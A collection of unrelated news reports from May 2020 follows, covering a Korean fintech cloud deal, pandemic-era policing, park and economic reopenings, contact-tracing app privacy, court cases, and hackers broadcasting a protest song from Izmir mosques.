SEOUL, South Korea, May 22, 2020 /PRNewswire/ -- 12CM (One-two-cee-em), the smart stamp software platform provider and a member company of the Born2Global Centre, has recently inked a collaboration deal with Naver Business Platform (NBP). 12CM has been an active member of the Born2Global Centre since 2018. NBP is a fully independent subsidiary company of Naver Corporation specializing in cloud IT infrastructure and services (Naver being Korea's largest search engine as well as operating LINE, the #1 chat service in Japan, Taiwan, and Thailand). The deal will see the Echoss Stamp developer's Open API and Finance Microservice implemented in a FinTech SaaS solution aimed at financial institutions. Traditionally, such financial services have required strict security measures making cloud-based service development difficult. The fact that cloud technology makes use of a wide variety of frameworks and open source code means that financal institutions have found adoption of these technologies less than ideal.



That being said, NBP is the first cloud operator in the S. Korean domestic market to receive top marks from the Financial Security Institute for infrastructure security. 12CM itself will be providing its service security level protocols, developed and tested over years of R&D and real-world applications, to this collaborative partnership. Large financial institutions already offer a variety of remote services, such as mobile apps and over-the-phone consultation. However, moving these to the cloud will allow not only faster implementation of entirely new service channels (such as mobile web apps) but also alliance service channels enabling cooperation. The collaboration between 12CM and NBP is slotted to provide a home in the cloud to accommodate these innovative new services.

"Financial institution's recent trend of 'non face-to-face' service is in a state of constant innovation and like financial institution's websites, the demand for convenient financial service via diverse cooperation channels is always increasing. NBP and 12CM are planning to provide a secure SaaS solution that emphasizes security and flexibility in financial services to the market as soon as possible,'' said Sang Young Han, director of NBP. Jeong Gyoun Han, 12CM of CEO said, "For our initial loan service model, the whole process including security, identification, Open API integration, as well as certificate submission will be structured as a complete self-service. The SDK itself will also be provided in order for users to customize their own mobile web pages. For a smooth and successful launch, in addition to our alliance with NBP, we have also tapped UniFinTech Corp., a consulting company specialized in mobile commerce and IT." It is a fact that there is a global trend of more and more software companies moving onto the cloud, and while doing so adopting more SaaS or other "as a service" business models. This Fintech service alliance in the Korean domestic market marks the next step of mobile evolution in the finance IT industry, and we look forward to what it may mean for the future of Fintech. For more detailed information on 12CM, visit https://www.12cm.co.kr/. Media contact

Nicholas Davidson

Account Manager, 12CM

[email protected] Jina Lee

PR Manager, Born2Global Centre

[email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/fintech-alliance-saas-solution-marks-change-in-korean-finance-market-301063374.html SOURCE Born2Global Centre

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MPs eye chemical castration as rape deterrent

BANGKOK: Chemical castration has been proposed to prevent rapists from repeating the crime and better protect victims, said Pacharin Sumsiripong, an MP of the ruling Palang Pracharath Party.

Friday 22 May 2020, 09:10AM

The clothes of some rape victims are displayed in an exhibition against sexual harassment in Bangkok last year. Photo: Wichan Charoenkiatpakul / Bangkok Post

The proposal was put forth by the House of Representatives special committee exploring potential solutions to the problem of rape and sexual assault, reports the Bangkok Post.

Ms Pacharin, a committee member, said on Thursday (May 21) the panel has presented the chemical castration idea to Justice Minister Somsak Thepsutin who agreed with it.

We have yet to set a goal to move forward the [chemical castration] idea. But at this point we want a thorough analysis done to weigh up the pros and cons of the issue, said Ms Pacharin, who has a background in criminology.

Several countries have adopted chemical castration for controlling rapists with a tendency to repeat the crime and Thailand may learn from their experience, she said. From a human rights point of view, the key question is whether it is right to perform chemical castration on a person against his will, even a convicted rapist, she said.

From a medical point of view, another important question remains to be answered, which is whether it is against the medical code of conduct for medical doctors to perform chemical castration on a person against his will, she added. The medical procedure needs to be done by specially trained doctors, Ms Pacharin said.

Another concern raised by the committee was the cost of making chemical castration a punishment for rapists as the procedure requires constant use of intravenous drugs.

Chemical castration as a punishment wont be for everyone convicted of raping or sexual assault but those who refuse to change even after being punished, she said.

Another measure studied by the committee is registration of former criminals in the national database to track those with a tendency to repeat a crime after they are freed from prison, she said.

The US, for instance, has such a database. People can check the database for their own safety, which is believed to have helped cut the crime rate, said Ms Pacharin who graduated with a masters degree in criminology from Sam Houston State University Texas.

Ms Pacharin said the committee also raised measures to improve protection of sexual assault victims rights and privacy. The victims are entitled to privacy during media coverage. State agencies must ensure they protect the victims from the physical and mental impacts of sex crimes, she said.
As Louisiana moves into a slow reopening process following what officials hope has been the peak of the coronavirus pandemic, the Baton Rouge Police Department is utilizing its long-awaited Real Time Crime Center to target violence-heavy neighborhoods.

In a Facebook Live video Friday morning, Mayor-President Sharon Weston Broome and BRPD Chief Murphy Paul toured the facility at the departments Airline Highway headquarters, which has been Pauls pet project since he became chief in early 2018.

It was initially scheduled to be up-and-running in late 2019, then it was pushed back to a February 2020 opening, then coronavirus swept the area, further delaying that projected start date.

+20 How Baton Rouge police chief focused on tech, community to make impact in first year leading the agency Baton Rouge Police Chief Murphy Paul buzzed briskly around the skeleton of a room on the second floor of the departments headquarters on Airl

However, the pandemic and stay-at-home order became of benefit to the center because a dip in crime attributed to fewer people being out in public allowed officers the time to bring the project to light and begin the data analysis that will fuel summer resources.

Paul said Friday that, despite the overall lull in callouts, violent crime is still high in some small geographical pockets that officers have identified using the centers technology.

+2 Baton Rouge crime rate dropping as residents stay home amid coronavirus spread, data show Data from local law enforcement agencies and jail booking records suggest Baton Rouge has become a safer place over the past few weeks as resi

BRPD will soon start a targeted operation called Operation Safe Summer in which 150 officers from all departments will begin increased presence in designated areas.

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He said specifically the Brookstown area  in which this week a man and woman were found killed in their apartment  has been flagged as a micro-area on which to focus resources, as well as districts around Plank Road, Airline Highway, Scenic Highway and Highland Road.

Officers have used their crime center data to implement a patrol strategy in the Brookstown area the past eight weeks, Paul said, leading to a 24% decrease in crime there overall.

The Facebook Live video showed a multiscreen analysis center in which officers assigned to the crime center could at once see live traffic cameras, maps with active calls and other analytics to focus efforts. Officers are able to narrow down specifics like car makes and models on camera, colors, if people recorded are male or female, or whether they are a child, for example.

If you live in one of these areas you will see increased patrols.  The data is driving why were there in those areas at specific times and dates, Paul said.

With the stay-at-home order lifting and residents starting to venture out more, Paul said its still to be determined how coronavirus and the usual spike in crime during the summer months will intersect.

Broome stressed that what she called the coronavirus culture will still likely be at play throughout the summer, meaning a heightened awareness of social distancing and other similar measures.

I dont think were going back to normal, what were doing is embracing a new reality so we have to think differently, Broome said as she toured the center Friday.
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With no fanfare or even much public notice, Yellowstone National Park has opened its North Entrance at Gardiner to motorists traveling to Silver Gate, Cooke City or beyond.

Rumor of the opening began circulating Thursday morning. By late afternoon the Gardiner Chamber of Commerce had a notice from the park about the opening.

The order states in part: For the purposes of recreating in Cooke City or Silver Gate, MT, you are allowed to proceed through the closure along the park road between the North Entrance and the Northeast Entrance.

While traveling through the closure:

Do not stop in the park, through traffic only.

Do not recreate in the park.

Follow posted speed limits (never more than 45 mph).

Failure to adhere to these restrictions may result in a citation being issued.

The Park Service and Montana Gov. Steve Bullock had been criticized by some Cooke City and Silver Gate business owners who felt they were being unfairly isolated from tourists by the road closure. On Monday, Yellowstone opened its South and East entrances in Wyoming to tourists but not the three Montana gates.

Bullock stated earlier this week that his staff was working with the park to open the Montana gates by June 1, the same date that the state would lift its 14-day quarantine for out-of-state travelers.

Before Bullock, his staff and county health officials feel comfortable opening Montanas park gates, the governor has requested the park consider additional mitigation measures in the park for managing large groups, contingency plans for managing sick employees and visitors, and plans to build capacity for surveillance testing and COVID-19 response needs in gateway communities and among park staff, according to information provided to the Billings Gazette by the governors office. In the end the decision to open the gates will be made jointly, recognizing that the park also has to be confident it can handle increased visitors with limited staffing based on their experiences with a limited reopening this week.

A so-called soft or limited opening was ruled out, the governors office said, because the park lacks the ability to equitably meter travel into and out of the gates among visitors. Just as local businesses need time to ramp up staffing, food distribution and other services, business and community officials will also require time to update operating plans, ensure sanitation protocols and resources are in place, and support public information needs to comply with state and local directives. The current reopening timelines afford local public health and businesses with time to adequately prepare, even as they take on increased visitation independently over the Memorial Day weekend.

The governor will make a formal request to open the parks North and West gates early next week, his office stated.

Park Superintendent Cam Sholly said in a Thursday press release, The decision to reopen Yellowstone is not and has not been a unilateral decision. These decisions are being made in close concert with our state and local partners, including health officials, and with support from the Department of the Interior and the National Park Service. We have implemented a reopening plan that is limited in nature. It gives us time to observe and make adjustments, expand operations if conditions are favorable, and contract them if they are not. We welcome realistic feedback on how we can continue improving our reopening strategy while working together to maintain the safety for our employees and visitors. Keeping Yellowstone closed is not a viable strategy.

Visitation through the first three days of the parks operations was 90% of normal through the East Entrance (near Cody, Wyoming) and approximately 60% of normal through the South Entrance (near Jackson, Wyoming), according to a Park Service press release. Vehicle counts per day are broken down below. The park expects traffic and visitation levels to grow over the Memorial Day Weekend.

Last year, with all five entrances open on these same dates, there were 5,022 cars in the park on May 18, 4,880 cars in the park on May 19, and 4,723 cars on May 20, according to the Park Service. It is estimated over the past three days, there is less than 20% of the normal traffic volume in the park compared to when all five entrances are open at this time of year.

Not opening the Montana entrances has angered business owners in gateway towns and some of their allies. The Montana Free Press reported that last Friday a Bozeman man passed through the North Entrance on his way to Cooke City and was pulled over by park and Park County law enforcement before being arrested.

Tyler Vance posted videos of his attempt to enter the park and his arrest.

Although the Park Service is opening the gate to the communities near the Northeast Entrance, the superintendents order also noted that there is still a mandatory 14-day quarantine in effect for all out of state travelers to Montana. It is your responsibility to follow this order, the document says.

Photos: Yellowstone reopens after COVID-19 shutdown

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How easily the most effective changes have come, or whether they have come at all, has depended largely on a simple factor: preparedness. Legislatures in at least 16 states and territories have altered their procedures to fit the moment, enabling remote participation in some cases and remote voting, too, in others  but two didnt even have to do that. Oregon and Wisconsin already had constitutional provisions providing for the continuity of civil government amid catastrophe. Utah and Pennsylvania were also notably nimble in pushing through rules changes and standing up the right technology; both have earned accolades over the years for staying ahead in the innovation game. Several legislatures have struggled more with working from home but have managed to get the job done nonetheless.
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Prabhudas Lilladher's research report on Dr. Reddy's Laboratories

We continue to believe that DRRD is one of the best play in large-cap pharma space a) due to its control on overhead expenses, b) focus on domestic business, c) injectable pipeline for US and EU, d) net cash on books and e) resolution for all major FDA issues. Over FY21-22E, DRRD will likely see change is business mix with high margin domestic formulation (17% of revenue FY20) contributing more to the revenue. DRRD had already recognized (even earlier than its peers) about challenging environment in the US market and accordingly reduced capital allocation.

Outlook

We expect normalized growth in India formulations however EU and EMs to be major growth drivers to refill the lower growth in US-Gx and Russia for 1HFY21E. We change our earnings estimate marginally and continue to assign 24x PE on FY22E and arrive at new TP Rs4326(Rs4030). We maintain 'Accumulate' rating.



For all recommendations report, click here

Disclaimer: The views and investment tips expressed by investment experts/broking houses/rating agencies on moneycontrol.com are their own, and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions.

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The United Kingdoms plans to launch a smartphone application to track potential COVID-19 infections wont include Apple and Google.

The countrys National Health Service has designed its own mobile software to do contact tracing of people exposed to the coronavirus, the BBC reported Monday.

The NHS reportedly found that its own tech, which runs in the background on Apples iPhone, works sufficiently well.

One hangup with some contact tracing apps is that they work only when a phone is active and the app is running in the foreground, which can sap battery life.

The NHS app conserves battery life by waking up the software in the background when a phone encounters another phone running the app.

However, the Apple-Google engine may conserve even more power, because it doesnt have to wake up link to another device running it.

Apple and Google earlier this month released APIs to help developers, including nation states, create contact tracing apps for the Exposure Notification system theyre collaborating on.

The companies plan to incorporate the system into future versions of their mobile operating systems, iOS and Android.

Centralization vs. Decentralization

With its app, the NHS chose a centralized model for its data collection and storage.

When the app senses another version of itself on a phone it makes note of it and sends the information to an NHS computer server. If someone using the program tests positive for COVID-19, that information is sent to the server, which then alerts every app user who had contact with the person of their exposure to the virus.

Apple and Google have set up a decentralized framework for their mobile contact tracing solution.

A D V E R T I S E M E N T

As with the NHS app, when phones running a tracing app are within proximity of each other, they exchange information in the form of a key code. Users let the app know when they become infected.

The app then updates an online database with the codes of the contacts of the infected person. That database is downloaded to phones periodically so users of the app are kept current about whether theyve been exposed to the virus.

Apple and Google say their decentralized method preserves an individuals privacy better than a centralized method. They contend that the method makes it more difficult for a hacker or the state to track individuals and their social interactions, because data is stored on their phone and doesnt leave it without the owners permission.

The NHS contends that by centralizing the data, it can obtain more insight into the spread of COVID-19, which can help it further refine its app.

Dynamic Tension

There is a tension between the NHS and Apple-Google camps, noted Alain B. Labrique, director of Johns Hopkins Universitys Global mHealth Initiative in Baltimore, Maryland.

The tension is between a centralized data repository controlled by the government and a system that makes data available only to individuals.

When data is only available to individuals, it takes away the potential for abuse, Labrique told TechNewsWorld.

In many countries theres a popular concern about giving government granular access to not just where youve been but who youve been in contact with and for how long, he said.

Protecting that kind of data during a pandemic comes with some disadvantages.

As a public health authority, the more information I have about contacts, the more capability I have to address the pandemic effectively, Labrique explained.

A D V E R T I S E M E N T

Not all countries are going the centralized route. Switzerland, Estonia, and Austrias Red Cross have endorsed decentralization, as has Germany, after considering a centralized approach.

Countries that are accepting the decentralized approach are also accepting a tradeoff, Labrique said. Theyre willing to sacrifice some level of control in order to get another tool out there that people can use to fight back against coronavirus.

Location Protection

The centralized approach adopted by the NHS has the potential for abuse, even though data collected by the program may be anonymized, said Omer Tene, chief knowledge officer of the International Association of Privacy Professionals in Portsmouth, New Hampshire.

In a big data context such as this, even anonymized information can be attributed back to individuals, sometimes through crossing with other available databases, he told TechNewsWorld.

Under the Apple-Google approach, as well as a solution by a group of European scientists known as DP-3T, there is no central database and instead data is stored on users devices, Tene noted.

Both the NHS and the Apple-Google solution employ Bluetooth technology rather than collecting geolocation data, he pointed out. [*Correction  May 5, 2020]

Location data can be incredibly revealing and sensitive, showing where people live, work, which doctors they go to, who they associate with, and so forth, Tene continued. For contact tracing, location is not needed as its enough that two individuals were close to each other  for one of them to pass the virus on to the other.

More Nations Adopting Apps

Smartphone contact tracing apps have been rolled out in a number of countries, including China, Israel and Singapore.

Australia released its contact tracing app on Sunday. Within hours of its release, more than a million Aussies had downloaded the app.

The software, which is based on a similar program used in Singapore, uses Bluetooth wireless technology to gather data from other phones running the app when it comes within 1.5 meters (4.2 feet) of them. When someone with a phone running the software is diagnosed with COVID-19, all users of the app who had contact with the infected user for 15 minutes or more receive an alert telling them theyve been exposed to the virus.

Only state health authorities will be able to access the data gathered by the app. Not even law enforcement officers with a court order will be able to access the data. Whats more, data will be erased from the phone every 21 days, or if the app is removed from the device.

In order for the app to be effective, its estimated that 40 percent of the countrys population must use it.

The main problem is that contact tracing apps are only effective if broadly adopted and standardized, Tene said.

For example, Singapores TraceTogether app was downloaded by just 13 percent of the population, meaning that in any interaction between two random passersby theres only a 1 percent chance they both use the app, he said. Obviously thats insufficient to allow people to have confidence that their encounter with a patient will be flagged.

*ECT News Network editors note  May 5, 2020: Our original published version of this story stated the following: The NHS app has an edge over the Apple-Google solution when it comes to protecting location data, he (Tene) continued. The NHS app is based on Bluetooth proximity tracking as opposed to GPS or cellular location. That is a much more privacy friendly approach, since it doesnt require collection of geolocation data, Tene explained. Following publication of our story, Tene offered this clarification: Deploying a BT based solution is a strength of the NHS app and not a relative strength compared to the Apple-Google solution because that too is Bluetooth based.
Disasters and crises have had many less highlighted consequences on vulnerable sub-groups, including those often overlooked, such as adolescents and youth. The COVID-19 pandemic is no exception. While understandably the nation is engaged in fighting a pandemic of huge proportions, this relatively healthy and safe sub-populations needs may not appear to warrant immediate attention. Nevertheless, as we look ahead to the post-lockdown period and beyond, the ways in which the pandemic may have affected our 365 million plus adolescents and youth, and their needs in the upcoming months and years, must be considered. After all, what happens to this generation affects not only their health and well-being in adolescence, but also their health and well-being as adults, and that of the next generation.

There is limited research on the situation and needs of adolescents in disasters and crises that can guide how we respond to concerns surrounding this group today as well. But, even during the lockdown, several organisations have initiated action for young people. Insights from some of these were reflected in a recent webinar hosted by the 10to19 Dasra Adolescent Collaborative.

Access to Education

High on the list of what needs to be addressed for young people is education. Girls attending the webinar passionately described their concerns about their education. While well-off urban schools have transitioned into online classrooms, these facilities are not available universally. Nor is this a simple transition to make. A recent state-representative survey of adolescents confirmed that only five percent live in a household that owns a computer. The same survey found that few adolescents aged 10-14 own a mobile phone (1-6 percent), 18 percent of unmarried girls aged 15-21 own a mobile phone and that it is far from universal even among boys aged 15-21 (64 percent).

While many other adolescents do have access, if needed, to a family members phone, it may not be possible for them to access these devices for prolonged durations. And, if there are two or more children at home, accessing the phone may prove near impossible.

Uninterrupted internet access is also uncertain. Anxieties about falling back on schooling and the consequences of this for their aspirations and futures are real fears. And disparities between the haves and the have-nots will widen. Even more disturbing, previous work has highlighted that in situations of disaster and crisis, there is an increase in school dropout. There is therefore a real fear that the longer schools remain closed, the greater are the chances that girls (and some boys) will drop out or be made to drop out when they reopen. Not being in school also means no midday meal, no weekly iron and folic acid supplementation, no sanitary napkin distribution, and no interaction with friends.

Child marriage and other forms of violence

Also widely observed in disaster and crisis situations is a spike in child marriage. This practice is undertaken not only because parental concerns about their daughters security increase in difficult times, but also because smaller dowries are demanded for younger girls, and marriage expenses can be minimised by marrying off all the daughters of the family together, in a single ceremony, irrespective of their age. This is another potentially disastrous fallout of the pandemic and could hurt the huge advances India has made over the last decade in reducing child marriage.

Domestic violence has spiraled since the lockdown, as has been observed the world over. India has many helplines devoted to addressing the needs of women who face or fear physical and sexual violence and controlling and threatening behaviour of their husbands. According to reports, girls have also suffered. For one, violence against them has likely accelerated, and second, they may be more closely exposed to witnessing violencetheir fathers beating or abusing their mothers. These experiences result in helplessness, anxiety, and fear that can have a lifelong impact on their submission to violence in their adulthood. And while helplines are available, many girls and young women may not have sufficient privacy away from the perpetrator to reach helplines. This calls for more anonymous forms of communication, such as, messaging options, and more proactive monitoring by frontline workers making house-to-house visits.

Misuse of social media by the young is exacerbated in times of lockdown, especially among economically advantaged young people who have their own devices. The lockdown has provided an opportunity for cyber violence committed by the young, as witnessed in the #boislockerroom incident. Such incidents not only have lasting effects on girls mental health and future aspirations, but may also spell disaster for the futures of the perpetrators of these crimes. Online classes present a fine opportunity to encourage discussion on equitable gender relations, sexuality education, and legal penalties for violation. Parents must play their part too, not dismissing this behaviour with a boys will be boys shrug, but ensuring communication about these matters with their sons and daughters, and if necessary, supervising their internet use.

Access to Health Services

Health services and entitlements are also affected. Many at the webinar mentioned the lack of sanitary napkins, resulting in them having to purchase these (if available) from the market, or reverting to practices such as use of cloth. Others mentioned the unavailability, more generally, of other health-promoting supplies and servicesiron and folic acid distribution, pregnancy-related care, contraceptive supplies, and abortion services.

A recent telephone interview survey undertaken by the Population Council corroborated this perception, with considerable proportions of young women reached reporting a need for antenatal care, immunisation, and contraception. Frontline workers are no doubt overwhelmed by COVID-19 related duties, but efforts are needed to minimise stockouts and consider out-of-the-box ways of delivering sanitary napkins, contraceptives, and other essential supplies. Social marketing, providing these supplies at local kirana shops, and distributing health kits with essential supplies may be options to consider.

However, pregnancy- and newborn-related services for all, especially for first-time pregnant women and first-time mothers cannot be compromised. Face-to-face contact is essential in delivering these services, and frontline workers must develop a system through which those falling into these categories are identified, and services are delivered to them in a timely way.

Mental health is also affected, as cautioned in a recent review in the Lancet and corroborated in a survey conducted by Young Minds. In India, the Population Council telephone survey found significantly more young women reporting symptoms reflecting depression and anxiety in the lockdown period than before. While the national health programme for adolescents makes a counsellor available at every district and sub-district Adolescent Friendly Health Clinic, these counsellors need to use more pro-active measures to reach and counsel adolescents in the areas they serve.

Dont forget the Parents!

The need to engage parents in ensuring the well-being of their children and adolescents cannot be emphasised enough. Dont forget the parents! was a strongly expressed insight articulated at the webinar. Moreover, the limited communication and interaction between parents and children in India has been substantiated through research as well. Indeed, there is an enormous need to engage parents in empowering their daughters and sons to transition safely through the pandemic and lockdown and minimise adverse consequences.

Unfortunately, parenting in much of India has not traditionally encouraged openness about fears and aspirations, nor does it acknowledge adolescents voice in making life choices, and yet this crisis calls for efforts to enable parents to support their children and encourage them to articulate their anxieties and fears. The #boislockerroom incident also highlights the need for far more parental engagement in socialising their sons and daughters, including in times of crisis. While this requires far more attention to programming that addresses awareness about parenting in the long run, in the immediate future, COVID-19-related messaging needs to be expanded to include counselling messages on talking to children and providing helpline numbers through which to seek help.

While many unmet needs have been thus articulated, encouraging signs of the resilience of the young and innovative action that some have taken despite the lockdown are apparent. Girls accompany frontline workers in some areas, delivering messages of safety and allaying fears. They have taken the initiative to prepare face masks for their family and neighbours. Girls have created WhatsApp groups through which information promoting health and safety measures is shared, concerns can be raised, and violence can be reported.

The hitherto sparse evidence documenting consequences of crises and disasters for young people has hampered our understanding of, and preparedness for, an adequate response to the COVID-19 crisis. Far more investment is required in research that tracks and assesses the multiplicity of consequences described here, so that an evidence-informed response may be generated.

Addressing the unmet needs of the young is a priority. We cannot let the huge advances we have made thus far in accelerating girls and boys education, delaying child marriage, addressing sexual and reproductive health needs, and building agency, be dissipated.

(Author is Director at Aksha Centre for Equity and Wellbeing. She is a demographer and social scientist. Views are personal. The piece was first published on India Development Review)
A Lake County jury found a current prison inmate guilty on multiple counts of rape and sexual battery that took place over a number of years.

Tyrone Gibson, 52, was indicted in March on a 37-count indictment. Those charges were 19 total counts of first-degree felony rape, one count of second-degree felony sexual battery and 17 counts of third-degree felony sexual battery.

The charges against Gibson range from 2011 to 2015. The victim was known to Gibson and was less than 13-years-old when the offenses started.

The jury found Gibson guilty on all counts after a trial held before Lake County Common Pleas Court Judge John P. ODonnell. ODonnell will sentence him on May 28.

Gibsons rape charges carried repeat offender specifications.

In 2015, he pleaded guilty in Lake County Common Pleas Court to attempted rape. Gibson plead guilty by way of North Carolina v. Alford  essentially a guilty plea where the defendant maintains his innocence. ODonnell was the judge in Gibsons 2015 case, and he sentenced him to eight years in prison on that second-degree felony charge, according to court records.
Businessman Bykov denied $14,000 bail in 1994 double murder case

 RAPSI, Eugeny Varlamov

10:34 22/05/2020

MOSCOW, May 22 (RAPSI)  The Krasnoyarsk Regional Court on Friday refused to release businessman Anatoly Bykov, who stands charged with organizing double homicide in 1994, on a 1-million-ruble bail ($14,000), RAPSI was told in the courts press service.

The court thus denied the businessman motion to change his detention to release on bail, house arrest or ban on certain actions. Bykov will stay detained until July 4.

According to the Russian Investigative Committee, in the first half of 1994, Alexander Naumov, the 23-year old member of a criminal group headed by Bykov, had a conflict with the gang leader because of unjust, according to him, dividing of the joint criminal income. Later, Bykovs car was exploded. The businessman suspected Naumov and his friend Kirill Voytenko of the blast organization and decided to kill them. He ordered his acquaintance Vladimir Tatarenkov to organize the murder; the latter in turn involved his gang members in the crime. On July 24, 1994, Naumov and Voytenko were shot dead, investigators claimed.

One of the killers Sergey Bakurov was sentenced to life. Another one is on a wanted list. Tatarenkov was sentenced to 13 years in prison, the Investigative Committees statement read.

Investigators claim that many witnesses confirmed that Bykov had business relations with Naumov and a conflict after which the latter was afraid of his life and began wearing body armour.

Three witnesses said that Bykov was a mastermind of the murder. They added that failed to give testimony 26 years ago as they hoped that Bykov would provide assistance to them, according to the Investigative Committee.
By Kate Feldman | New York Daily News

The Daytime Emmys wont let the coronavirus outbreak stop the annual awards show.

CBS announced Wednesday that the ceremony has been set for June 26 as a virtual production, with recipients and other special guests appearing from home.

In these challenging times, daytime has been a primary influence in staying connected with its audience, entertaining them and keeping them informed, executive producer and director David McKenzie said in a statement. We are honored to be a part of it. We are also excited for the challenge of introducing a new format that will celebrate the contributions of daytime television.

The TV awards show, which recognizes programs that air between 2 a.m. and 6 p.m., is one of the first such ceremonies to be held during the pandemic, which has shut down production in Hollywood, New York and around the world.

Last years Daytime Emmys were held at the Pasadena Civic Auditorium in California, hosted by Mario Lopez and Sheryl Underwood.

The 2020 show will broadcast on June 26 at 8 p.m. EDT on CBS.
Unemployment soared to record levels in Texas last month as employers slashed 1.3 million jobs amid the coronavirus pandemic that shut down most of the states economy.

The states unemployment rate jumped to 12.8 percent in April, more than double the 5.1 percent rate in March, and marking the highest jobless rate since the data series began in 1976, the Texas Workforce Commission reported Friday.

In the Houston area, employers cut 317,400 jobs in April after shedding 28,000 in March, which combined were more than twice the number the region lost during the entire Great Recession, which lasted 18 months. The local unemployment rate jumped to 14.2 percent in April, up from 4 percent from a year ago.

The steep job losses spread across every industry, with leisure and hospitality the hardest hit. The sector, which encompasses restaurants, hotels, museums, music and sporting venues, lost nearly one in four jobs last month after local governments issued stay-at-home orders and shutdown businesses to slow the spread of the coronavirus.

The energy industry, a critical driver of the state and local economies, was also hard hit as demand for gasoline, jet fuel and other petroleum products plummeted, helping to drive oil prices into negative territory in late April. The mining and logging sector, which is dominated here by the oil and gas industry, slashed one in 10 jobs in Texas last month.

BAD TIMING: Class of 2020 graduates into worst job market since Great Depression

Over that past year in Houston, the sector lost nearly one in five jobs. The local economy, meanwhile, contracted in April at the fastest pace since the worst months of the Great Recession, according to the Houston Purchasing Managers Index, a closely watched indicator of economic activity.

Covid-19 is in the drivers seat, said Patrick Jankowski, senior vice president of research at the Greater Houston Partnership.

Joshua Lee Johnson, 26, of Texas City, is still hoping hell be called back to his $14.50- an-hour-job as a technician for a car wash servicing company that furloughed him two months ago. In the meantime, he has contacted several staffing agencies, checking in frequently for updates.

Hes also applying to grocery stores, telecommunication companies, pest control operations and cell phone providers but so far, no interviews.

Im just going stir crazy, he said.

Texas, like many other states, is slowly re-opening its economy. Bars were allowed to open Friday with seating limits and restaurants, which reopened May 1, to increase eat-in capacity to 50 percent. Non-essential manufacturing plants got the green light to go back to work Monday and a slow trickle of law firms, engineering consultants and energy companies have moved desks and installed plastic shields to bring employees back to the office.

But shopping mall crowds are still thin with many retailers opting to stay closed and shoppers worried whether its safe to venture out. Most movie theaters remain closed despite permission to reopen because many studios are releasing new movies through streaming services.

Nearly one in five U.S. consumers say theyd prefer to wait at least a month before venturing out and better than one in 10 say theyll probably wait at least three months, according to a survey by the personal finance company Bankrate.

This hesitation forecasts a slow recovery for a national economy in which consumer spending accounts for about 70 percent of economic activity. Few economists expect the quick snap-back that was hoped for early in the crisis. A study by the University of Chicago estimated that 42 percent of the record layoffs may be permanent.

More than 38 million Americans, including some 2 million in Texas, have filed first time claims for unemployment benefits over the past two months. Signs, however, have emerged that the worst may be over.

While jobless claims remain stubbornly high, the pace of layoffs appears to have slowed. In Texas, 130,000 workers filed for benefits, less than half the 315,000 during the week ending April 4. Nationally, 2.4 million people filed jobless claims, about one-third the 6.6 million filed in early April.

BACK TO WORK: Houstons businesses tentatively reopen

Weve passed the turning point, said Bill Gilmer, director of the Institute for Regional Forecasting at the University of Houston.

Sabrina Harris hopes so. Shes waiting for a call telling her when she can return to her part-time job unloading trucks and stocking merchandise for a discount store that sells clothing and housewares in Houston. The store, which was closed for two months, reopened this week.

Harris, 51, said her boss has already contacted her. The next truck should arrive in a couple of weeks.

Harris works another job in customer service, but her hours were cut. Her car, insurance and rent payments werent.

I feel a lot better than I did a couple of weeks ago, she said. Things were really piling up.
DETROIT, MI  Ex-Mayor Kwame Kilpatrick could be released early from a 28-year prison sentence, reports say.

The Ebony Foundation, which has lobbied President Donald Trump to grant clemency, said Friday, May 22, that Kilpatrick was granted early release.

Ebony Led Coalition Celebrates Early Release For Former Detroit Mayor Kwame Kilpatrick, a press release said.

The statement said: He is on mandatory quarantine and then will be on home confinement until June 10 when EBONY will host a press conference as Kilpatrick is eager to speak.

The U.S. Attorneys Office in Detroit is investigating the claim, the Detroit Free Press said.

U.S. Attorney Matthew Schneider said in an email to MLive that my office has not been told of any plans to release Kilpatrick.

The U.S. Bureau of Prisons shows that Kilpatrick is held in a federal prison in Louisiana with a release date of Jan. 18, 2037.

Kilpatrick was convicted in 2013 on 24 charges including racketeering, bribery and extortion.

His latest appeal for release last fall was denied. He has long sought release from prison or to have his sentenced reduced. He has sought clemency from the president, too.

Read more:

Kwame Kilpatricks son pleads with President Trump to commute ex-Mayors sentence

Ex-Detroit Mayor Kwame Kilpatrick denied release from prison again

Report: Kwame Kilpatrick asks President Trump to commute his sentence
IZMIR, Turkey  Residents in several districts in the Turkish city of Izmir could hardly believe their ears as "Bella Ciao," the Italian protest song that is akin to a leftist anthem in Turkey, soared from the minarets of mosques instead of the call for prayer on the afternoon of May 20. Hackers had broken into the sound system of several mosques, which are closed due to the COVID-19 pandemic, to broadcast the song, which expresses solidarity with workers and is often sung at protests in Turkey and beyond.

Some might have found the incident amusing, but it is no joke in a country where political polarization is running deep between the conservative and the secular. As videos of "Bella Ciao" blaring from minarets went viral on social media, pro-governmental newspapers seethed with outrage. Sabah trumpeted a scandal in Izmir, while Star labeled the hacking as a heinous provocation. In the next 24 hours, hackers broke into the systems of two more mosques, this time broadcasting the songs of Turkish protest singer Selda Bagcan. In a hasty statement, the local religious authorities announced that they have deactivated the centralized sound system in mosques.

The hacking is significant first for rekindling the resentment of the conservative government toward Izmir, the so-called last bastion of anti-government politicians and intellectuals. Second, it came as the latest episode in rising tensions over religious symbols in Turkey before the country goes on lockdown for Eid al-Fitr, the holiday at the end of the holy month of Ramadan, on May 24-26.

Over the past month, the government has notably stepped up displays of piety, from unprecedentedly loud prayers from mosques to accusations and tough measures against individuals and groups it accuses of insulting religion.

Last week, a video showed President Recep Tayyip Erdogan doing a khatm  a reading of the Quran from beginning to end  as practicing Muslims do during Ramadan. On May 17, the holy day of Laylat al-Qadr, the president made a televised appearance on a giant screen decorated with the word Allah in Arabic to congratulate the winners of a Quran recitation contest. Earlier in May, Fahrettin Altun, the presidents communication chief, tweeted a suggestive message about the Hagia Sophia, the magnificent sixth century edifice in Istanbul, that electrified Islamists who want to see the structure  currently a museum  converted to a mosque.

The "Bella Ciao" incident immediately inflamed the Hagia Sophia debate. As a response to this heinous attack on our mosques and the call to prayer, lets open the Hagia Sophia to [Muslim] worship so those remnants of Greeks can learn a lesson, tweeted Islami Bakis Acisi (Islamic View Point), an account that pushes an Islamist agenda.

Remnants of Greeks or Izmir, the infidel are terms that conservatives use to disparage Izmir, whose population was largely non-Muslim  and mostly Greek  until the collapse of the Ottoman Empire and the four-year War of Independence that led to the birth of modern Turkey in 1923. Over the past decade, the ruling Justice and Development Party (AKP) has tried hard to get the reins of the citys local administration, but to no avail. Izmir has been ruled by social democrat mayors since 1999.

